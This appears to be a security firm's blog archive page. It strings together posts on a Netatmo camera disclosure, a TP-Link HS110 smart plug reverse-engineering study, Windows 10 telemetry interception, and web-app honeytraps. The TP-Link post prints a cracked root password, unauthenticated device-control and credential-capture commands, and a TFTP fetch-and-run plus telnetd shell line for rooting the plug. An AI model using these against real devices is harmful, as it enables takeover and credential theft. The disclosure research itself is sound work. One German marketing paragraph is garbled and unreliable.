2018
2017
2016
2015
01.08.2015
7. Miscellaneous
8. Responsible disclosure
When contacting Netatmo about the security vulnerability, they told us that in fact the owner of the camera should receive an email when someone links the owners camera to their own account and therefore this is just a bug. In our opinion, even if the email notification would work, this is still a weak mitigation. A better solution would be to ask the owner to approve the linkage of the camera. Netatmo said they will consider it.
This was four months ago. But at the release of this article, an attacker can still exploit the presented vulnerabilities. We will update this post if Netatmo fixes the vulnerability.
9. Conclusion
Getting the device username and password requires physical access to the camera at some point or a another vulnerability which allows the attacker to somehow read the username and password while they are in transit. In other words a man in the middle attack. If the attack somehow gains these information, though, this vulnerability is critical, as the attacker can completely control the camera. The next big problem is, even if the victim knows about this vulnerability and knows that someone has access to his camera, he can NOT stop the attacker from exploiting it. He can only send the camera back and buy a new device!
The easy to trick face detection and the power cut attack make it easy to break in undetected, if the attacker knows the victim. However a person who bought a camera to protect himself from thieves is likely to also invest in security locks and glass. A thief might go for a low hanging fruit instead, instead of facing the risk.
Read about other interesting topics on our blog.
„The customer-oriented consultants of softScheck GmbH successfully supported us during the threat modeling of a Java EE application.“
„Die kundenorientierten Berater der softScheck GmbH haben uns erfolgreich projektbegleitend bei dem Threat Modeling einer Java EE Anwendung unterstützt.“
Everybody is talking about attacks on IT systems and trying to recognize them. A completely wrong strategy!
Actually vulnerabilities are the root of all evil. Attacks are only successful if they can exploit a vulnerability. Therefore:
Let us improve your security: softScheck identifies Zero-Day-Vulnerabilities in every type of software and hardware. We offer „Security Testing as a Service“ in form of a holistic process.
softScheck secures your software, firmware, apps and systems, Networks, Server, Router and Gateways and also Blockchains, Smart Contracts, Wallets, dApps, DLT etc. In IoT/Industrie 4.0, SCADA and in general.
Alle Welt redet über die vielen Angriffe auf IT-Systeme und versucht sie zu erkennen. Eine völlig falsche Strategie!
Tatsächlich sind Sicherheitslücken die Wurzel allen Übels. Angriffe sind nur dann erfolgreich, wenn sie eine Sicherheitslücke ausnutzen. Daraus folgt:
Gehen Sie mit uns einen Schritt weiter: softScheck identifiziert Zero-Day-Vulnerabilities in jeder Art von Software und Hardware. Wir bieten „Security Testing as a Service“ in Form eines vollständigen Prozesses an.
softScheck sichert Ihre Software, Firmware, Apps und Systeme, Netzwerke, Server, Router und Gateways sowie Blockchains, Smart Contracts, Wallets, DApps, DLT etc. In IoT / Industrie 4.0, SCADA und allgemein.
Alle Welt Redet Über Die Vielen Angriffe Oder Versucht Sie Zu Erkennen. Eine Völlig Falsche Strategie! Tatsächlich Sind Sicherheitslücken in Software, Firmware, Apps Und Systemen (Und Auch Hardware) sterben die Ursache Allen Übels. Sterben Sie Vielen Angriffe Wie Viren, Würmer (Stuxnet), APT etc.. Sind Nämlich Nur Dann Erfolgreich, Wenn Sie Eine Sicherheitslücke Ausnutzen.
Daraus Folgt: Kein Erfolgreicher Angriff Ohne Sicherheitslücke!
Nur Software Ohne Sicherheitslücken ist Tatsächlich Sicher – Angriffssicher!
Gehen Sie Mit Uns Einen Schritt Weiter: softScheck Identifiziert Erfahrungsgemäß Alle Sicherheitslücken. Insbesondere Die Bislang Nicht Erkannten Zero-Day-Schwachstellen! Sicherheit Test Prozess softScheck Arbeitet Auf der Basis der ISO 27034 Und Dem Microsoft Security Development
Lifecycle (SDL) Mit Massiv Werkzeug-rollierenden Methoden. Damit ist (Nach Patchen) sterben von Uns Sicherheit Getestete Software Und Firmware Tatsächlich Sicher – Sie ist Nicht Mehr Angreifbar. Unser Europaweiter USP ist der Ganzheitliche – ISO 27034 Basierte – Sicherheit
Testen der Prozess Mit Den Folgenden 5 Methoden: Sicherheit durch Design: Unterstützung Bei der Entwicklung der Sicherheitsarchitektur
Bedrohungsmodellierung: Überprüfung der Sicherheitsarchitektur Auf Sicherheitslücken statische Quellcode-Analyse: Formale Prüfung des Source-Codes (Code Reading)
Penetration Testing: Simulierte Angriffe u.a. Zur Überprüfung Auf Bereits Bekannte Sicherheitslücken Inklusive Explorative testen Und Manuellem Code Auditing
Dynamische Analyse – Fuzzing als Service ®: Blackbox-Test Mit Erfahrungsgemäß Erfolgreichen Angriffsdaten Zur Identifizierung der Sicherheitslücken in der Implementierung Und Laufzeit-Umgebung.
by Lubomir Stroetmann, Consultant and Tobias Esser, Consultant
The TP-Link HS110 Wi-Fi is a cloud-enabled power plug that can be turned on and off remotely via app and offers energy monitoring and scheduling capabilities. As part of ongoing research into Internet of Things security, we performed a security analysis by reverse engineering the device firmware and Android app, sniffing app-to-device and device-to-app communications and fuzzing the proprietary protocols being used.
While cloud communication was found to be reasonably secure for an IoT device, we discovered two insecure proprietary local configuration protocols: A human-readable JSON protocol „encrypted“ with an easily reversible autokey XOR cipher and a binary DES-encrypted configuration and debugging protocol (TDDP – TP-Link Device Debug Protocol). TDDP is in use across most of the TP-Link product line including routers and access points and thus merits further research. We also release a Wireshark dissector and two python clients for the proprietary protocols on GitHub.
Contents
The Good:
The Bad:
The Smart Plug has two physical buttons: An on/off relay switch and a device reset button that resets the device if pushed for five seconds or longer. When plugged in, an unconfigured or freshly reset Smart Plug will start an unsecured open Access Point with the SSID „TP-LINK_Smart Plug_XXXX“ where XXXX are four hexadecimal numbers. A quick search on WiGLE reveals several unconfigured TP-Link Smart Plugs in the wild:
TP-Link’s Smart Home app „Kasa“ makes the smartphone connect to this access point, sends UDP broadcast packets to 255.255.255.255 to find the Smart Plug IP and proceeds to configure it with the SSID and password that the user entered into the app. The Smart Plug then turns off the Access Point and connects to the configured WiFi as a client.
We perform a KARMA attack using the Sensepost MANA Toolkit, forcibly deauthenticating the Smart Plug and trying to get it to connect to a rogue Access Point with the same SSID and no security. The attack is not successful; however repeated deauthentication can be used to perform a temporary Denial of Service attack against the device.
3. Reverse Engineering the TP-Link HS110 firmware
We download the current official firmware for the device (HS110(US)_V1_151016.zip) and use binwalk to extract the contents of the .bin file:
As we can see, the firmware is a typical embedded Linux system and contains three parts:
Examining the contents of the filesystem, we find the following interesting files:
This is the certificate used to verify the identity of the cloud server. The file contains the „VeriSign Class 3 Public Primary Certification Authority – G5“ root certificate. This means the only check performed when establishing a TLS connection to the cloud is if the provided server certificate has been signed by the Symantec/VeriSign CA for Extended Validation (EV) certificates (CA pinning). A determined attacker could buy his own EV certificate and use it to impersonate a cloud server.
root:7KBNXuMnKTx6g:15502:0:99999:7:::
The oldschool descrypt password is trivially broken, the password is „media“.
All proprietary server logic is contained in the shd („Smart Home Daemon“) binary, which is MIPS32 R2 Big Endian:
shd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size
The shd binary also contains a copy of OpenSSL 1.0.1j 15 Oct 2014 for establishing TLS connections to the cloud server.
We load the shd binary into IDA and start analyzing!
The Busybox version provided in the firmware is vulnerable to CVE-2011-2716, a command injection vulnerability in the udhcpc DHCP client component of Busybox, which allows to inject shell commands into one of the following DHCP options: (12) Hostname, (15) Domainname, (40) NIS Domain or (66) TFTP Server Name. For this to work, those values have to be actually used by the shell script invoking udhcpc. Analyzing the firmware we find that the shd binary creates a shell script /tmp/udhcpc.script containing:
09.10.2018
08.10.2018
View on GitHub#!/bin/sh
if[ $1 = renew –o $1 = bound]
then
ifconfig $interface $ip netmask $subnet
route del default
route add default gw $router
echo "nameserver $dns" > /tmp/resolv.conf
fi
It then executes udhcpc:
/sbin/udhcpc –b –H "HS100(US)" –i br0 –s /tmp/udhcpc.script
As we can see, the hostname is hardcoded and none of the other options are used. Unfortunately, the udhcpc vulnerability is not exploitable in this case.
An nmap port scan on all TCP and UDP ports reveals the following:
| Port | Protocol |
|---|---|
| 80/tcp | HTTP |
| 9999/tcp | TP-Link Smart Home Protocol |
| 1040/udp | TP-Link Device Debug Protocol (TDDP) |
The Webserver on Port 80 replies with a meaningless ellipsis, no matter what the request is:
HTTP/1.1 200 OK Server: TP-LINK Smart Plug Connection: close Content-Length: 5 Content-Type: text/html …
Looking through the shd binary we see that the HTTP Server routine is called „fake_httpd“ and will always return this hardcoded reply.
Port 9999 TCP is used for controlling the Smart Plug on the local network via the Kasa app and is described in the TP-Link Smart Home Protocol section. Port 1040 UDP is described in the TP-Link Device Debug Protocol section.
6. TP-Link Smart Home Protocol
Sniffing the local wireless network traffic reveals that the TP-Link Kasa SmartHome app talks to the HS110 Smart Plug on TCP port 9999 using what looks like encrypted data.
After decompiling the Kasa app for Android, we find the encryption function:
We see the initial key (initialization vector) i has a hardcoded value of -85 (= 171). The first byte of the plaintext is XORed with the key. The key is then set to the plaintext byte. During the next iteration, the next plaintext byte is XORed with the previous plaintext byte. Decryption works the same, with the keystream made out of cyphertext bytes. This is known as an autokey cipher and while it has better statistical properties than simple XOR encryption with a repeating key, it can be easily broken by known plaintext attacks.
Now that we know the algorithm and the key, we implement a Wireshark dissector in LUA which automatically decrypts TP-Link Smart Home packets on port 9999. It turns out that the protocol uses JSON, so we also pass the decrypted contents to the JSON dissector. We can now monitor communications between the Kasa app and the Smart Plug on the local WiFi:
The Smart Plug commands are grouped into the following categories:
We provide a comprehensive list of JSON commands (tplink-smarthome-commands.txt) and a python client to send them with (tplink-smartplug.py).
System Commands
We can read out information about the system using the get_sysinfo command:
{"system":{"get_sysinfo":{}}}
To send the command using our python client, invoke it with the –c info option:
./tplink-smartplug.py –t 192.168.0.1 –c info
We provide several predefined commands to read out information from the HS110 Smart Plug using –c options.
Alternatively, you can use the –j option and provide the full JSON string:
./tplink-smartplug.py –t 192.168.0.1 –j '{"system":{"get_sysinfo":{}}}'
This allows to send any of the commands listed in tplink-smarthome-commands.txt.
The get_sysinfo reply will contain the following information:
We can turn the HS110 Smart Plug on and off using the set_relay_state command, using 1 for on and 0 for off:
{“system":{"set_relay_state":{"state":1}}}
We can reboot the HS110 Smart Plug using the reboot command which requires a delay parameter in seconds:
{"system":{"reboot":{"delay":1}}}
The HS110 Smart Plug can be reset to factory settings, making it act as an open Access Point again:
{"system":{"reset":{"delay":1}}}
Note that since the protocol does not provide authentication, anybody on your network can send this command and force a reset. Here, a prankster would set a high delay value, giving them time to leave the premises.
There are further commands to change the MAC address, change the Device and Hardware IDs, turn off the device LED (night mode) etc.
Of special interest are the firmware flashing commands. You can download a firmware file from an arbitrary URL using:
{"system":{"download_firmware":{"url":"http://..."}}}
While downloading, you can get the download state using:
{"system":{"get_download_state":{}}}
Once the download is finished, you can flash the firmware using:
{"system":{"flash_firmware":{}}}
Flashing a modified image will not work since the image’s signature has to match one of four hardcoded RSA keys (we won’t go into wild speculations why there are four keys here):
WiFi Commands
You can instruct the HS110 Smart Plug to scan for a list of nearby Access Points:
{"netif":{"get_scaninfo":{"refresh":1}}}
This will return a list of all the available visible APs in the area.
Connecting to an AP with a given SSID and password is done using the command set_stainfo (key_type 3 indicates WPA2):
{"netif":{"set_stainfo":{"ssid":"WiFi","password":"123","key_type":3}}}
Note that all JSON commands are accepted independent of the device state! Connecting to an Access Point would only be necessary in the unconfigured state when the HS110 Smart Plug is acting as an AP. Using the set_stainfo command you can force the Plug to connect to a different WiFi on the fly.
Cloud Commands
The HS110 Smart Plug regularly tries to connect to the TP-Link cloud server at devs.tplinkcloud.com:50443 using TLS. This behavior continues even if the HS110 Smart Plug is configured as „local only“ in the Kasa app. Fortunately for us, there is a command to change the cloud server URL:
{"cnCloud":{"set_server_url":{"server":"devs.tplinkcloud.com"}}}
The shd binary tries to establish a TLS 1.0 connection with the provided URL and checks if the server certificate is signed by Symantec’s EV Root CA stored under /etc/newroot2048.crt. An attacker with the necessary funds could purchase a valid EV certificate and perform a Man-in-the-Middle attack on the communication between HS110 Smart Plug and cloud.
To register the device with the cloud we issue the bind command and provide a valid cloud account name and password:
{"cnCloud":{"bind":{"username":alice@home.com, "password":"secret"}}}
It’s interesting to note that registration will fail if the Smart Plug’s hwID is unknown to the cloud server. This means TP-Link either performs a checksum or other type of plausibility check or checks against a complete list of devices. Either way, this allows TP-Link to track all devices throughout their lifetime.
You can unregister a device from the cloud account using unbind:
{"cnCloud":{"unbind":null}}
This allows an attacker on the local network to unregister the device, forcing the device owner to register again. The attacker can then capture the bind registration command sent by the Kasa app and sees the owner’s tplinkcloud.com credentials in cleartext!
Analyzing the shd binary, we discovered a hidden „test mode“ in the HS110 Smart Plug. It can be invoked remotely or via a command-line argument to the shd binary.
7.1 Command-Line Test Mode
The shd binary can be launched using a –t option which makes it enter test mode:
This calls a function called wlan_start_art which looks promising because it executes the Atheros Radio Test (ART) client code for performance-testing Atheros wireless adapters. This piece of debugging code already led to a vulnerability in TP-Link Routers in 2013 where it could be triggered using a hidden URL on the device webserver: TP-Link http/tftp backdoor
The function wlan_start_art runs the following system commands:
LD_LIBRARY_PATH=/tmp arping –I br0 –c 1 192.168.0.100 tftp –g 192.168.0.100 –r ap_bin/ap121/art.ko –l /tmp/art.ko insmod /tmp/art.ko tftp –g 192.168.0.100 –r ap_bin/ap121/nart.out –l /tmp/nart.out chmod +x /tmp/nart.out /tmp/nart.out –instance 0 &
The commands connect to a TFTP Server, download a file called nart.out, make it executable and run it. This can be easily used to root the device. All one would need to do is to host a shell script called nart.out on a TFTP server with the IP 192.168.0.100 under the path ap_bin/ap121/. The shell script would start the busybox telnetd daemon:
/bin/busybox telnetd –l/bin/sh &
However, we have no way of invoking the shd binary on the device with the –t option.
7.2 Remote Test Mode
Going through all the JSON commands in the shd binary we find a command called set_test_mode. This means test mode can be enabled remotely!
This is the only JSON command which, as a primitive sort of protection, requires the request to originate from the IP 192.168.0.100. The easiest way to do this is to reset the HS110 Smart Plug and connect to its AP since the DHCP server is configured to issue IPs starting with 192.168.0.100. Next, send the set_test_mode command:
./tplink-smarthome.py -t 192.168.0.1 -j '{"system":{"set_test_mode":{"enable":1}}}'
This writes a special test mode flag into the device’s NVRAM. The flag is checked during boot, and if set the HS110 Smart Plug boots into test mode.
Reboot the Smart Plug using:
./tplink-smarthome.py -t 192.168.0.1 -c reboot
The Smart Plug will try to connect to a WPA2-secured Access Point with the SSID „hs_test“ and password „12345670“ and then turn on the plug’s relay:
To set up the hs_test AP, we use hostapd with the following hostapd.conf:
interface=wlan0 driver=nl80211 ssid=hs_test wpa=2 wpa_passphrase=12345670 channel=1
As expected, the HS110 Smart Plug connects to our hs_test AP. We then observe the Smart Plug going through its regular setup: Request an IP via DHCP, synchronize the time using a server from the NTP-Pool (cn.pool.ntp.org) and connect to the TP-Link Cloud server at devs.tplinkcloud.com:50443.
Unfortunately, the Smart Plug’s behavior was no different in test mode than after a regular boot. While there is a reference to the wlan_start_art function in the remote test mode code, it is in a part without any references leading to it. This likely means that the function call to that part was commented out.
8. TP-Link Device Debug Protocol
A portscan of the HS110 Smart Plug revealed an open UDP port of 1040. Analyzing the shd binary for setsockopt() calls, we could see the port was being bound by a component called „TDDP“. The protocol seemed to be binary and designed in a very stealthy manner so that no reply is given whatsoever unless a fully valid packet was sent to the port. Reverse-engineering the protocol would have been a major new undertaking and fortunately, we didn’t have to.
Hacked by Patent
After quite a bit of googling for „TP-Link“ and „TDDP“, we discovered the protocol had been patented in China as patents „CN 102096654 A“ and „CN 102123140 B“ which Google handily auto-translates into English:
http://www.google.com/patents/CN102096654A?cl=en
A complete protocol specification is included in the patent description and shows you how to construct a TDDP packet.
TDDP can be used to ping or discover a TP-Link Device on the network through broadcasts, read and set configuration options and execute special device-specific commands. TDDP provides integrity through an MD5 digest of the whole packet included in the packet header:
It also encrypts the packet payload using DES. This means that any configuration data we read out will be encrypted in the reply, and any configuration we want to write needs to be sent encrypted.
The DES key is determined by concatenating the device’s username and password, building an MD5 hash of that string, and then using the first half of the MD5 (16-digit hex number or 8 bytes) or as the DES key:
md5(username + password)[:16]
Since the HS110 Smart Plug does not provide any authentication, the username and password are hardcoded into the shd binary as admin/admin:
For other TP-Link devices, this means an attacker has a highly efficient way to check for default passwords and perform an offline brute-force attack on the login.
With a single UDP packet, they can request information that is already known (we found a „Heartbeat“/ping request in the SmartPlug that always returns „ABCD0110) or can be easily determined (e.g. MAC address). The encrypted reply can then be brute-forced offline trying different combinations for username (likely „admin“) and password.
We provide a very basic proof-of-concept TDDP client which tries to read out one of three values from a TP-Link device by using a packet type of 0x03 and specific hex-values in the „SubType“ header field:
0x0A returns the test string „ABCD0110„, 0x012 return the deviceID and 0x14 returns the hardwareID. They might return different types of information on other types of TP-Link devices. We also found additional values which changed the deviceID (0x13, 0x15), the hardwareID (0x12) and the MAC address (0x06).
The binary TDDP protocol merits further research since it is available on a broad range of TP-Link devices. The possibility for device-specific special commands (CMD_SPE_OPR) has potential to uncover undocumented functions, vulnerabilities or even backdoors. As a next step, different TP-Link devices should be fuzzed with the full range of hex values in the TDDP header and their behavior monitored and analyzed.
UPDATE 19.06.2018:
TP-Link has updated their firmware. If you install this firmware upgrade, tplink-smartplug.py does not work anymore.
UPDATE 04.07.2018:
We updated our tool. It now supports TP-Link HS100, HS105 and HS110 with the latest firmware. Hostnames instead of IP addresses are also supported and the script can now be imported as a Python module. A big thank you to the persons who opened issues and pull requests on GitHub.
Read about other interesting topics at our blog.
by Lars Ubbenhorst, Consultant
The focus of this research is to analyze the amount of privacy provided in Windows 10 when using the most restrictive privacy settings available. Windows 10 has been observed to establish encrypted connections to Microsoft servers without a direct related user interaction. softScheck already identified this traffic in an earlier analysis. Now our goal is to analyze the communication by monitoring the data being sent.
Contents
Since all telemetry communication is encrypted, we need to perform a man-in-the-middle attack. To do this we use a Raspberry Pi 3, which is a single-board computer the size of a credit card.
Our focus is to identify and analyze the traffic of a Windows 10 client with the most restrictive privacy settings activated. Some Windows 10 versions (Enterprise, Education, and IoT Core editions) support an additional telemetry level, telemetry level 0: security. We use a Windows 10 Enterprise client (Version 1607 – Build 14393.447) and activate this level. In our setup, we use a newly installed Windows 10 Enterprise client without any additional software. The privacy settings are set to the most restrictive values according to the TechNet article Manage connections from Windows operating system components to Microsoft service. Our final Setup is shown in the following figure:
The open source Tool mitmproxy is used to perform the man-in-the-middle-attack. SSL traffic (port 443) is being redirected to mitmproxy while all other traffic is directly forwarded using NAT. To decrypt the encrypted traffic, we use mitmproxy’s built-in Certification Authority. To make this work, we import mitmproxy’s root certificate into our Windows 10 client. Now, mitmproxy behaves as a server to our Windows 10 client and establishes (as a client) a connection to the target server, as illustrated in the following figure.
We benefit from Microsoft not using Certificate Pinning in this case, which means the client accepts any certificate in its certificate store.
In an analysis of the recorded network packet traces we identified several connections to Microsoft servers. In general, there are two types of connections: Bing queries and telemetry data.
A local search in the Windows start menu leads to multiple queries to bing.com. The complete search string as well as multiple prefixes of it are sent while you are typing. At this point, any connection to bing.com would not be necessary. Furthermore, the Windows 10 client repeatedly sends extensive telemetry data to Microsoft server. An overview is given in the following table:
We identified the cookie Cortana AppUID in every query the Windows 10 client sends to bing.com. Since the Anniversary Update of Windows 10, the personal assistant Cortana comes built-in. Even with all adjustments in Cortana Settings > Privacy turned off, Cortana is still running in the background. Microsoft confirmed this behavior on its website about Cortana and privacy:
If you don’t sign in and don’t give Cortana permission to use your personal Cortana data, Cortana will still be there to help you search the web and your Windows device [..] and to perform other tasks that don’t require personalization. When you use the taskbar search box, you’ll start to get search suggestions as soon as you start typing or speaking. To do this, Windows sends what you type or say to the Bing service, which interprets it in real time to provide auto-suggestions.
(Source: https://privacy.microsoft.com/en-us/windows-10-cortana-and-privacy)
Microsoft points out that, in this case, only services are made available that don’t require personalization. However, several unique cookies containing hash values were sent with the query as the following screenshot demonstrates. For this reason, it can’t be verified that queries stay anonymous. It is feasible for Microsoft to do a distinct identification with these cookies and the source IP.
As noted before, the identified Bing queries are triggered by Cortana. Due to the fact that all privacy-related settings were turned off (for maximum privacy), we did some further search. It is possible to deactivate Cortana completely. To do this, the key AllowCortana with the value 0 has to be added to the registry path:
HKEY LOCAL MACHINE\SOFTWARE\Policies\Microsoft\Windows\Windows Search
Users of Windows 10 Pro and Enterprise also have the opportunity to use a group policy. The group policy object Allow Cortana can be set in
Computer Configuration > Administrative Templates > Windows Components > Search
By using one of these settings the established Bing queries couldn’t be observed anymore.
In addition to Bing queries, extensive telemetry data are transmitted. Besides multiple identifiers, data points such as display resolution and the type of network connection are transmitted, as the following screenshot indicates:
3. Conclusion
As has been shown, undesired traffic of Windows 10 can be limited to a certain extent, which makes it feasible to use Windows 10 in a corporate network. It has to be considered that the telemetry level Security (0) is only available in Windows 10 Enterprise, Windows 10 Education, Windows 10 Mobile Enterprise, Windows 10 IoT Core (IoT Core) and Windows Server 2016. All other Windows Versions are limited to the telemetry level Basic (1).
According to Microsoft, additional data about “Health & Quality” are gathered at this level. However, regardless which adjustments are set, you have to keep in mind that Windows 10 still sends telemetry data.
As an easy way of managing all privacy related adjustments (including complete deactivation of Cortana) is offered by the tool DisableWinTracking.
More articles like this can be found in our blog.
by Lubomir Stroetmann, Senior Consultant
Aside from taxonomical problems (a lack of protection is not a vulnerability in itself), the description for the entry explicitly recommends solutions such as Web Application Firewalls (WAFs) and Runtime Application Self-Protection (RASP) products. The likely result is that many decision makers will take the shortcut of buying a WAF and putting a checkmark next to A7 on the Top 10 list.
Even worse, as Timothy Morgan uncovered on the OWASP Top 10 Mailing List and as further detailed in James Kettle’s blog post, „Insufficient Attack Protection“ seems to have been unilaterally added by Contrast Security, a RASP solution vendor with a conflict of interest. Jeff Williams, CTO of Contrast Security has since responded to the accusations in a blog post.
There are many advantages to having a custom-configured WAF used as a defense-in-depth measure, but a recommendation should point out it’s not a silver bullet and that there are potential pitfalls. Adding an additional component such as a WAF or RASP to your system architecture also increases your attack surface. WAFs and RASPs filter all your web application traffic and look for potential attack patterns, usually with the help of regular expressions (since commercial offerings are black boxes, there’s no way to be sure how they work precisely). Regular expressions can be vulnerable to Denial of Service attacks. The WAF or RASP software itself can also have vulnerabilities, sometimes resulting from complex interactions between components. For a recent example, take a look at Cloudflare’s „Cloudbleed“ vulnerability. WAFs certainly can also be bypassed – we’ve had some interesting results with HTTP multipart requests, but that is a topic for another blog post. Recommending RASP as a solution fails to mention that it only works for Java and .NET web apps.
It is worth taking a look at the raw data from the Top 10 2017 data call. (As an aside, Brian Glas did an excellent analysis on the data, demonstrating that automated scanners and humans find different types of vulnerabilities and a combination of both is indispensable.)
The statistics not only identify XXE as a highly prevalent vulnerability that would have deserved a spot on the Top 10, they also mention „Insufficient Anti-Automation“ much more frequently than „Insufficient Attack Protection“. This points us in the direction to the solution I believe we should be recommending developers to implement.
Much like we already detect bruteforce attacks against logins with a simple counter and use little Turing Tests called CAPTCHAs to prevent spamming of a form, we can perform effective attack detection and response with just a few lines of extra code. We can detect both automated attacks from web vulnerability scanning tools such as PortSwigger Burp Suite or OWASP ZAP as well as manual attacks right within our web application. In fact, it is the perfect place for it! Unlike a WAF or IDS which is not aware of application logic and will sometimes block legitimate users, detecting attacks in our application itself is free of false positives.
All the methods for attack detection described below have been covered extensively in chapter 3 of Ryan Barnett and Jeremiah Grossman’s book „Web Application Defender’s Cookbook: Battling Hackers and Protecting Users“ which I highly recommend. While the book solves attack detection and response using the mod_security Web Application Firewall, you do not need a WAF. Instead, we’ll consider how to do it from within our web app.
The idea is simple: We lay down honeytraps in our application such as a fake parameter with no actual functionality. If the parameter value is manipulated, we can be certain this is an attack. We can proceed to the response stage and choose how to deal with the attack.
The honeytrap will automatically be picked up by web vulnerability scanners which try to modify every parameter. In order to further attract human attackers, we can give the parameter an enticing name such as "isAdmin=0". Don’t you just feel the urge to find out what happens if you change that to a isAdmin=1?
Unlike a WAF/RASP, we don’t need to identify the type of attack (Is it SQL injection? Is it Cross-Site Scripting?). It’s enough to know with certainty that there is an attack and then block it. We don’t have to interpret the parameter value or run regular expressions on it. We just check if it has been changed: if($isAdmin != 0). This simple approach strips away most of the complexity of attack protection. Still, be sure to perform a code review on your attack protection code after you have implemented it.
Having active attack protection means you should run penetration tests against a specially deployed test server with the protection turned off. You don’t want to be spending all your money for PenTesters to try to circumvent your protections, you want them to focus on finding the actual vulnerabilities behind the protections. If you are running a bug bounty, do not turn off your attack protection.
Let’s go over some suitable locations for honeytraps:
Hidden form fields are the perfect place for a honeytrap. They are explicitly not meant to be altered by a user, so any modification indicates a manipulation. The name for the honeytrap form field should be chosen to blend in with the form’s functionality. Alternatively, a plausible generic name such as "debug", "context" or "resource" can be used.
<input type="hidden" name="debug" value="0"/>Any POST request with a non-zero value for the debug parameter can be assumed to be malicious and should be dealt with one or more of the response actions outlined in the „Attack Response“ chapter below.
For Single-Page Applications and Web APIs you can similarly add a non-functional parameter/value combination. Be careful not to disclose the true honeytrap functionality of the parameter in publicly available API documentation.
Cookies are another highly effective place for a honeytrap. Many web applications use tracking cookies with cryptic values, base64-encoded strings or hash values. Hiding a fake cookie among those is easy. Set the honeytrap cookie the same time you set the session cookie or any other valid cookie.
Burp Suite Professional and OWASP ZAP will automatically try to manipulate cookie parameter values. To further attract human attackers, use something like env=prod (suggesting a production environment setting that could be changed to staging or dev) or debug=false:
Set-Cookie: env=prod; path=/; domain=yoursite.com; httponlyAny incoming requests with a cookie value other than prod can be considered an attack.
Commenting out old HTML code is a bad development practice that has not quite died out yet. Both Burp’s and OWASP ZAP’s Spider Modules will pick up links in HTML comments and follow them (as long as they match the current project scope). Choose a link on your page and next to it include an HTML comment linking to a link_old or link.bak page:
<!-- old link: <a href="page1_old">page1</a> -->Any visits to the page can be assumed to be from automated web vulnerability scanners or human attackers.
One of the first things a PenTester checks during the Enumeration phase of a Web Application Test is the robots.txt file. All too often, admins follow the rationale „we don’t want internal parts of the app to show up on google, so we’ll block them using robots.txt“. At the same time, the exact path is disclosed to anyone who looks at the file. We’ve seen Disallow: entries in robots.txt leading us to sessions directories, old backup versions of apps, directories with internal API documentation and much more.
Add a seemingly legitimate entry to your robots.txt such as:
Disallow: /appname.bak/Anyone trying to access this path on the web server will be at least suspicious, although not all hits for this honeytrap will be targeted attacks. Still, you can probably afford to block scrapers and rogue indexing bots that ignore the robots.txt. Before implementing a fake robots.txt entry, consider the risk of locking out legitimate users if the link in the robots.txt is used in a phishing email.
Responding to an attack generally falls into one of two categories: a passive response, invisible to the attacker and an active response. In most cases, you will want to simply block & log the attack.
Be aware that any response functionality you decide to add needs to be implemented securely. Try to keep it as simple as possible. If your response action requires you to include additional libraries, consider a simpler response action or perform a security review on the libraries. Before implementing response measures that permanently block offenders, perform a risk analysis on the impact of accidentally blocking legitimate users and have a plan how to handle unblocking.
Ideas for response measures are inspired by OWASP’s AppSensor Project, a Java-based framework for web intrusion detection and response. AppSensor even offers functionality for an intrusive response which will not be covered here. Response actions such as turning off a functionality are not recommended since they are just a Denial of Service attack waiting to happen.
3.1.1 Block Attack
Usually you will want to block attacks directly by discarding the request and doing one or more of the following:
3.1.2 Rate Limit Attack
Introduce artificially extended response times for requests. As commonly done with failed log in attempts, you can keep increasing the delay with each detected attack request.
3.1.3 Account Lockout
For a more permanent measure, the user account can be deactivated. This can be done permanently or temporarily for a first offence. Make sure to also terminate all sessions associated with the account.
If desired, the user’s IP can be blocked for a period of time. This should be done by passing the information on to a firewall or fail2ban. A common fail2ban setup is to return a specially configured HTTP error code in your web app such as 432 and have fail2ban watch your webserver logs for that code.
3.2 Passive Response
3.2.1 Admin Notification
The most common passive response is to send an alert to an administrator or incident response team via email, SMS, Slack or Instant Messaging. Be careful what kind of details you include in the alert depending on how secure the communication channel is.
3.2.2 System Notification
Send an alert to your other security systems such as a SIEM (Security Information and Event Management), IDS/IPS, firewall, WAF, load balancer, log management system such as splunk or ELK. IPS and firewalls can use the alert to take active response measures such as blocking the offending IP.
3.2.3 Logging Change
If you decide to continue allowing the attacker access to the application, an increased, focused logging of their activity would be a highly advisable additional response measure. For example, you could start logging the actual content of their POST requests in a special incident log. As with all logging, double-check that log data is properly sanitized to prevent attacks against the log viewer.
3.2.4 Limit Account Functionality
In the same manner, if you allow the attack to continue using the application, you could limit their account functionality. File uploads can be turned off or severely limited in size, CAPTCHAs can be turned on for submission forms, actions such as orders can be flagged as likely fraudulent etc.
3.2.5 Redirect To Honeypot/Tarpit
Redirect all attacker requests to a specially prepared honeypot system which mimics the real web application and monitor their behaviour to learn more about their attack vectors. This would be an ideally suited response action if human attackers are identified such as through parameter values that a human would likely supply (our "env=prod" example).
The honeypot could also trap automated scanning tools with endless link/redirect chains using a web tarpit such as TarPyt or WebLabyrinth.
All done with adding honeytraps to your web app? The next step in detection would be to be able to actively detect a successfull attacker taking off with your stolen assets.
We can roll our own Data Loss Prevention (DLP) using so-called honeytokens. For every set of sensitive data records, we add one fake entry. For example, add an additional row in the users table with a fake user and a very specific username or email. If this table entry is ever accessed in the database or if someone tries to log in using that username/email, we can be certain that the users table has been compromised.
Likewise, we can add a fake file in a file store, a fake invisible product in the products table etc. Detection can be done in a WAF or IDS. It’s a concept dating back to before the digital age when encyclopedias and maps used fictitious entries or fake streets to be able to detect would-be copycats.
I hope this blog post has highlighted how you can perform attack detection and response in your web application with just a few lines of code before you spend a lot of money on WAFs and RASPs. Interpreted this way, an OWASP Top 10 recommendation for developers to implement attack protection in their apps would be a valueable addition.
Check out other interesting topics in our blog.
